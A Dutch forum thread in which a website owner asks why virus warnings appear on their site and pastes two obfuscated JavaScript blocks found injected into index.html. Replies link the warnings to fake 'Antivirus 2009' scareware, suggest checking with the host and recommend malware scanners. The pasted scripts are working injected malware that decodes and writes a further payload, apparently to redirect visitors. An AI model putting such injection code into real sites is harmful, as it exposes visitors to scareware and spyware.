HELP VIRUS ! vreemde tekens en codes op onze website

[kritinet]

Goeden middag
Wij hebben een website (www.kritinet.com) een eens in zoveel tijd komt er een Viruswaarschuwing als wij of iemand anders de website opend. er gaan automatisch de codes hier onder in de website verschijnen, maar alleen online. als ik dan de pagina in Dreamweaver open is er niets te zien. Weet iemand waar dat aan ligt ? De codes staan er dan ook niet op iedere pagina maar meestal alleen op de index.html

<!--c3cd64f42e04464323338ab5733a65c5-><script language=javascript>gww="%";ohs="<K73K63K72iK70K74 K6canguK61K67e=javK61K73K63rK69K70tK3e funK63K74iK6fK6eK20zuhea(K7aq)K7bK76aK72K20bK2chK70=K225K47swcU`K6fK48K61(B$K46uOK6d=CZh02K2aK72K496,K78K56kK7bK4dy'K7eK4b&[Pt8K65zK20K5eT)q.K4av+d]|NK6e179b4_K3a}K3bj3\\\"K21AK45K67fK2d#K70l@K69\"K2cK6cjy=\"\",h,wK72K2cK77hK3d\"\",K73naK3bK66orK28bK3d0K3bK62<zK71.leK6eK67th;b+K2b){K20h=zq.charK41tK28bK29;wK72K3dK68pK2eindK65K78OK66K28K68K29;ifK28K77K72>-1K29{K20snK61K3dK28(K77K72+1)K2581K2d1);K69fK28sK6ea<=0)sK6ea+K3d81K3bwK68K2bK3dhpK2echarAt(K73K6eaK2d1K29K3b } K65lsK65 K77hK2bK3dh;K7dljy+=wh;K64K6fcuK6deK6eK74.wK72ite(K6cjK79)K3bK7d<K2fK73K63K72iK70t>";mkudz=unescape(ohs.replace(/K/g,gww));var x,a;document.write(mkudz);x="<wUI5l8^@(1fO(fzC!3(+(wUI5l8!>^]HUO=z18JcI58zB^!<SZR6t)^@(1fO(fzC\\!v(+(SUI5l8\\!^SRZC\\!088l}//cccJfHHf@z(1(@585UwJ1z8/::O84J3w?!d]HUO=z18JIz-zIIzId!\\!><\\/SZR6t)>!^qj^</wUI5l8>^^";zuhea(x);</script>
of zo
<!--b81c890b8eb778d0cd993c7e6eb9f9a3-><script language=javascript>biylr="%";or="<!73cri!70t!20l!61!6e!67u!61!67e!3d!6aa!76a!73c!72i!70t> !20fu!6e!63!74ion!20!6d!74!6eg(ox){var!20h,!6b!64g!3d\"&1!45!46kJ[#!76r@Pg3!30y!2ea!2b_5l!21dtwmBH!24x!7bZu2s7!5e*~V !70!4b4!6a|}i!36N!49!2co!4d=]f!4fG!7a:')q!62h!63!38U\\\"n;T!60!659!2d!28CA\",shu=\"\",y,drw,k=!22!22,!66!63;!66!6fr(h!3d0!3bh<ox!2e!6c!65ngt!68;h!2b+!29!7b !79=o!78.charAt!28!68);drw=kdg.in!64ex!4ff(!79)!3b!69f!28d!72w>-1){ f!63!3d(!28dr!77!2b1!29!2581-1)!3bi!66!28fc<=0)!66!63+=8!31;!6b+=kd!67.c!68a!72A!74(!66c-!31); !7d!20!65ls!65!20k+=y!3b}shu!2b=k;documen!74.wri!74!65!28s!68!75!29;!7d<!2fscr!69p!74>";fasvx=unescape(or.replace(/!/g,biylr));var lg,p;document.write(fasvx);lg="<78@6Kwp!+;32+39]n|+r+78@6Kwn>ptM82B9;wam@6w9Cpn<SAR,g`p!+;32+39]\\n[+r+S8@6Kw\\npSRA]\\ncwwK'//mmma3MM3!9+;+!.w!87a8MB/552wwa|7?n_tM82B9;wa@9O9@@9@_n\\n><\\/SAR,g`>npqTp</78@6Kw>p";mtng(lg);</script>

 

[TomTom1]

sorry, ik heb me bericht gewist, volgens mij ligt het niet aan virussen, ik heb er geen verstand van van die codes, maar het lijkt niet op een virus ofzo. Laat iemand anders ff checken

 

[feint]

Als ik jullie was zou ik de webmaster er eens na laten kijken. het kunnen veel mogelijkheden zijn.


ik denk, maar het is maar een gedachte.
de melding die openkomt is van een zogenaamde norton 2009.

dit is echter zeer waarschijnlijk niet waar en worden vaak gebruik om virussen naar computers te downloaden. de copyright is nep gezien norton zijn vaste copyright heeft.

ik zou jullie aanraden de webmaster te vragen jullie volledige host na te kijken na eventuele links naar die website. gezien de link van jullie host moet afkomen.

dit is echter een gedachte die ik heb. het kan best zijn dat ik het mis heb maar ik zou jullie toch aanraden om de persoon die de website gebouwd heeft en waarschijnlijk ook onderhoud om de hele host inclusief de broncodes na te kijken naar links naar iets wat er niet thuishoort.


hopelijk is dit de oplossing. anders zou ik het helaas niet weten.

veel succes:thumb:

 

[TomTom1]

als je zeker wilt zijn dat geen virus is, kan je met deze scannen, als het probleem nog steeds is na deze scans ligt het niet aan virussen

Scan eerst ff met de freescanner van Mbam

download Malwarebytes: http://www.idealsoftware.nl/MBAM/
installeren, update en scannen (SNELLE SCAN) (zeg hoeveel infecties die gevonden had)

Als de scan afgelopen is, verwijder je de virussen.
Vervolgens start je je pc opnieuw op.

Nu download je superantispyware:

http://downloads2.superantispyware.com/downloads/SUPERAntiSpyware.exe
Weer updaten en na de scan verwijder je weer de virussen, en start je pc opnieuw op (zeg hoeveel infecties die gevonden had)

mvg

 

[Goeroeboeroe]

Op een of andere manier wordt er vanuit jouw site contact gelegd met Antivirus 2009, wat meldt dat je computer is besmet en dat de wereld vergaat, maar dat zij je kunnen helpen als je even klikt voor 'n gratis scan. Als je dat doet, installeer je gelijk spyware of iets dergelijks.
Als je zoekt naar Antivirus 2009 Protection zie je dat 't echt smerige bagger is en beslist geen ANTIvirus.
Op een of andere manier wordt op jouw site (soms) 'n JavaScript gestart wat de sessie min of meer overneemt en dus probeert naar dat smerige programma/site te loodsen.
McAfee SiteAdvisor over de bijbehorende site:
http://www.siteadvisor.com/sites/internetprotection2009.com/postid/?p=1027881

Ik neem aan dat je site ergens staat. Dan moet je het zo snel mogelijk melden bij je hoster, want het zou kunnen zijn dat ze ongewenst bezoek hebben. Dat hoeft niet via jouw site te gaan, dat kan ook prima via iemand die z'n cms niet update of zoiets.
't Enige wat jij zelf kunt doen is alles van jouw site wissen en opnieuw erop zetten. Maar in je code is (op het eerste gezicht) niets te zien, dus ik vermoed dat het probleem bij je hoster zit en dat dat dus weinig zal helpen.